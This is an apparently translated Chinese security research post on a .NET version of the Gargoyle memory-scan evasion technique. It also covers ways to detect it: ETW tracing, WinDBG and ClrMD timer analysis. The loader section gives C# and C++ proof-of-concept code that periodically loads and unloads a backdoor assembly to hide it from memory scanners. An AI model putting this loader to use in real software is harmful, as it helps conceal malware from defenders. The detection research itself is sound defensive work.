一、前言
Gargoyle是一种内存扫描规避技术,由Josh Lospinoso在2017年以PoC形式公开。这种技术的主要思路是保证注入的代码大多数时间处于不可执行状态,使内存扫描技术难以识别注入代码。这是一种非常优秀的技术,之前MWR研究人员已经讨论过Gargoyle与 Cobalt Strike集成方面的内容。我们也介绍了如何使用WinDBG和我们提供的Vola插件来检测这种技术。
现在的攻击趋势已经逐步从PowerShell转移到.NET技术,在这种大背景下,我们也花了些时间研究如何检测.NET技术的恶意使用及动态使用场景,此时我突然想到,也许我们可以将.NET技术应用于Gargoyle。我在Bluehatv18上介绍过内存后门驻留技术,其中简要提到了这方面内容。在本文中,我们会详细介绍相关内容,也会给出一些检测策略及PoC代码。
二、动态执行.NET代码
现在许多攻击技术都会尽量避免“落盘”操作,这种传统技术主要是为了规避典型的反病毒扫描机制,避免在磁盘上留下证据,这也促进了内存取证技术的发展。对于native code(原生代码),攻击者通常使用DLL反射注入、Process Hollowing、以及其他类似技术达到“非落盘”目标。然而.NET提供了非常简单的机制,可以通过assembly(程序集)动态加载和反射(reflection)完成相同的任务。
比如,在PowerShell中我们可以将.NET assembly动态加载到内存中,然后使用反射技术来实例化某个类并调用类中的方法:
对本文来说了解这一点背景知识已经足够,我们也在检测.NET恶意技术的Part 1文章中介绍了更多详细信息。此外,来自Endgame的Joe Desimone也在一篇精彩的文章中提到了这方面内容,文中展示了如何使用他开发的Get-ClrReflection.ps1这个PowerShell脚本来检测内存中已加载的.NET assembly。
三、.NET计时器及回调
原始的Gargoyle技术用到了Windows原生的计时器(timer)对象,以便定期执行回调函数。当计时器到期时,内核会将APC(Asynchronous Procedure Call,异步过程调用)投递至目标进程,执行回调函数。.NET中在计时器方面有自己的实现,具备类似功能。
从Timer()
类的构造函数中可知,我们可以指定.NET回调方法,也能指定计时器超时时所使用的参数。这里有个限制条件,回调函数必须遵循TimerCallback
委托(delegate),如下图所示:
由于存在委托规范,我们只能调用满足这种条件的方法。在实际环境中,我们可能希望能够将回调函数指定为Assembly.Load()
,并且使用assembly的字节数组作为state
参数,确保能够执行我们的恶意代码。遗憾的是这并不符合委托规范,并且加载assembly时自动运行代码也不像将代码放到原生DLL的DllMain()
函数中那么简单。因此,我们需要构造一个简单的封装接口,以便在内存中加载和执行我们的恶意assembly。
四、Loader实现
既然找到了.NET计时器,在定义回调方面我们需要考虑几个要点:
1、我们需要实现一些自定义加载代码,这些代码需要被永久加载。因此,我们需要让代码量尽可能小,且看上去无害,实现隐蔽加载;
2、我们无法单独卸载assembly(参考此处说明),因此为了自删除恶意assembly后门,我们需要将其载入新的AppDomain
中,然后再执行卸载操作;
3、我们需要找到一些方法先加载我们的.NET loader assembly,然后调用方法创建.NET计时器,以便后面加载我们的恶意assembly后门。
在下文中,我们使用AssemblyLoader
作为代码量尽可能小的一个loader(加载器)assembly,使用DemoAssembly
作为PoC assembly,代表实际环境中可能用到的一个全功能版恶意后门。
能够实现要点1和要点2的C#代码如下所示:
public class AssemblyLoaderProxy : MarshalByRefObject, IAssemblyLoader
{
public void Load(byte[] bytes)
{
var assembly = AppDomain.CurrentDomain.Load(bytes);
var type = assembly.GetType("DemoAssembly.DemoClass");
var method = type.GetMethod("HelloWorld");
var instance = Activator.CreateInstance(type, null);
Console.WriteLine("--- Executed from {0}: {1}", AppDomain.CurrentDomain.FriendlyName, method.Invoke(instance, null));
}
}
public static int StartTimer(string gargoyleDllContentsInBase64)
{
Console.WriteLine("Start timer function called");
byte[] dllByteArray = Convert.FromBase64String(gargoyleDllContentsInBase64);
Timer t = new Timer(new TimerCallback(TimerProcAssemblyLoad), dllByteArray, 0, 0);
return 0;
}
private static void TimerProcAssemblyLoad(object state)
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve);
Console.WriteLine("Hello from timer!");
String appDomainName = "TemporaryApplicationDomain";
AppDomain applicationDomain = System.AppDomain.CreateDomain(appDomainName);
var assmblyLoaderType = typeof(AssemblyLoaderProxy);
var assemblyLoader = (IAssemblyLoader)applicationDomain.CreateInstanceFromAndUnwrap(assmblyLoaderType.Assembly.Location, assmblyLoaderType.FullName);
assemblyLoader.Load((byte[])state);
Console.WriteLine("Dynamic assembly has been loaded in new AppDomain " + appDomainName);
AppDomain.Unload(applicationDomain);
Console.WriteLine("New AppDomain has been unloaded");
Timer t = new Timer(new TimerCallback(TimerProcAssemblyLoad), state, 1000, 0);
}
以上代码量较少,包含一些调试信息,看上去恶意程度不是特别高,可能会通过安全检查。如果这段代码只是代码量庞大且无害的assembly中的一部分,那么更容易能够通过安全检查。
为了定义回调函数、加载我们的恶意assembly(即DemoAssembly
),我们可以执行如下操作:
1、在新的AppDomain
中通过byte[]
数组加载DemoAssembly
;
2、实例化DemoClass
对象;
3、执行Helloworld()
方法;
4、卸载AppDomain
,清理内存中的DemoAssembly
;
5、重新调度计时器,一直重复上述过程。
五、执行Assembly Loader
为了满足第三点要求,我们可以利用原生代码中的COM技术来加载我们的Loader assembly,然后调用StartTimer()
方法,设置.NET计时器,然后通过计时器周期性加载我们的“恶意”DemoAssembly
。关键代码片段如下所示:
// execute managed assembly
DWORD pReturnValue;
hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
L"AssemblyLoader.dll",
L"AssemblyLoader",
L"StartTimer",
lpcwstr_base64_contents,
&pReturnValue);
这样我们就有各种办法能够触发loader。我们可以运行原生应用,然后执行这段代码,或者我们可以将其以原生DLL的方式注入合法的应用中,然后立即卸载DLL。最终结果就是我们实现了一个.NET loader assembly,加载后看上去非常无害,但可以通过.NET计时器,在未来定期将完整功能版的.NET后门载入内存中。
结合以上方法,最终我们的结果如下所示:
如果我们使用类似ProcessHacker
之类的工具检查已加载的.NET assembly,我们只能看到loader assembly,没有看到临时的AppDomain
或者“恶意的”DemoAssembly
:
此外,如果我们使用Get-ClrReflection.ps1
之类的工具,并不会看到任何结果,这是因为我们“无害的” assembly loader加载自本地磁盘,并且在运行检测工具时,我们的“恶意” DemoAssembly
很有可能不会刚好被加载到内存中。
六、检测策略
与原始的Gargoyle
技术一样,这种策略采用了规避内存扫描时间点和常见内存取证技术的思路。这意味着我们可以采用实时跟踪方案来检测隐藏在眼皮底下的.NET活动。在关于这方面内容的先前文章中,我们讨论了如何跟踪.NET assembly的加载行为,如何跟踪assembly相关活动。比如,如果我们使用之前文章中用来跟踪高危模块加载行为的PoC ETW跟踪工具,我们就可以清晰地看到我们的“恶意”DemoAssembly
的周期性加载行为:
然而,这里还有一个问题,我们是否还有其他备选的、基于加载时间点的内存扫描方法,可以用来检测这种技术?有趣的是这种.NET行为的确会留下一些蛛丝马迹,我们可以使用WinDBG的SOS调试扩展来观察这些痕迹。!DumpDomain
命令的部分输出信息如下所示,从中我们可以看到关于名为TemporaryApplicationDomain
的许多AppDomain
,指向正在动态加载的模块:
然而,下一个问题是我们是否有可能在系统范围内分析.NET计时器,识别出潜在的可疑回调函数,这样能更直接地检测到这类技术的使用行为。微软的确为.NET提供了一个内存诊断库:ClrMD,我曾经用过这个库,也是我曾经的首选库。
Criteo Labs曾发表过一篇文章,介绍了如何使用ClrMD
来完成这个任务,也公布了相关代码。稍微研究并添加了部分代码以适配我们的使用场景后,我们也能构造出一个检测工具,能够检测基于计时器回调的技术,识别潜在的可疑对象。
如果我们在运行Visual Studio的某个系统上运行这款工具,可以看到Visual Studio相关进程中存在大量计时器回调操作:
然而,这些调用非常相似,并且都位于System
或者Microsoft
命名空间中。虽然在这些命名空间中的确有可能找到恶意使用场景,但基于之前我们提到的限制因素,我们会倾向于使用自定义代码来完成攻击任务。因此我们可以在其他命名空间中寻找回调行为,此时我们的输出结果只留下一个条目,也就是我们的恶意回调:
当然,攻击者可能会注意到这一点,尽可能伪装成合法回调函数。然而如果大规模应用检测技术,在整个网络环境中进行检测,在System
以及Microsoft
命名空间外寻找异常实例,那么还是能够找到蛛丝马迹。
七、总结
在本文中我们研究了与Gargoyle内存扫描规避技术等效的一种.NET实现方案,通过规避扫描时间点将.NET后门隐藏在内存中,也讨论了相应的检测策略。我们已经把所有相关代码上传至Github上。